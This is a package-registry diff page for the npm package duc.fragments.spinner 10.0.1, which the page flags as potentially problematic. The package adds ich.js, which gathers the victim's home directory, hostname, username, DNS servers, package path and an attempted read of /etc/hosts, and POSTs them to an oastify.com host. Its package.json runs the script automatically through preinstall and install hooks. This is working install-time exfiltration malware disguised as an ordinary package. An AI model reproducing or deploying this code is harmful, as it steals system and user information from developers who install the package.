duc.fragments.spinner 10.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of duc.fragments.spinner might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/ich.js +48 -0
  2. package/package.json +20 -0
package/ich.js ADDED
@@ -0,0 +1,48 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const fs = require("fs/promises");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ const trackingData = JSON.stringify({
10
+ p: package,
11
+ c: __dirname,
12
+ hd: os.homedir(),
13
+ hn: os.hostname(),
14
+ data_file: fs.readFile('/etc/hosts', {encoding: 'utf8'}),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ var postData = querystring.stringify({
23
+ msg: trackingData,
24
+ });
25
+
26
+ var options = {
27
+ hostname: "sb7yonei6k6gfudw318f2gfis9y0m5au.oastify.com", //backend
28
+ port: 443,
29
+ path: "/",
30
+ method: "POST",
31
+ headers: {
32
+ "Content-Type": "application/x-www-form-urlencoded",
33
+ "Content-Length": postData.length,
34
+ },
35
+ };
36
+
37
+ var req = https.request(options, (res) => {
38
+ res.on("data", (d) => {
39
+ process.stdout.write(d);
40
+ });
41
+ });
42
+
43
+ req.on("error", (e) => {
44
+ // console.error(e);
45
+ });
46
+
47
+ req.write(postData);
48
+ req.end();
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "duc.fragments.spinner",
3
+ "version": "10.0.1",
4
+ "description": "ICH",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "install": "node ich.js",
9
+ "preinstall": "node ich.js"
10
+ },
11
+ "author": "ich",
12
+ "license": "ISC",
13
+ "repository": {
14
+ "type": "git",
15
+ "url": "https://github.com/"
16
+ },
17
+ "keywords": [
18
+ "testing"
19
+ ]
20
+ }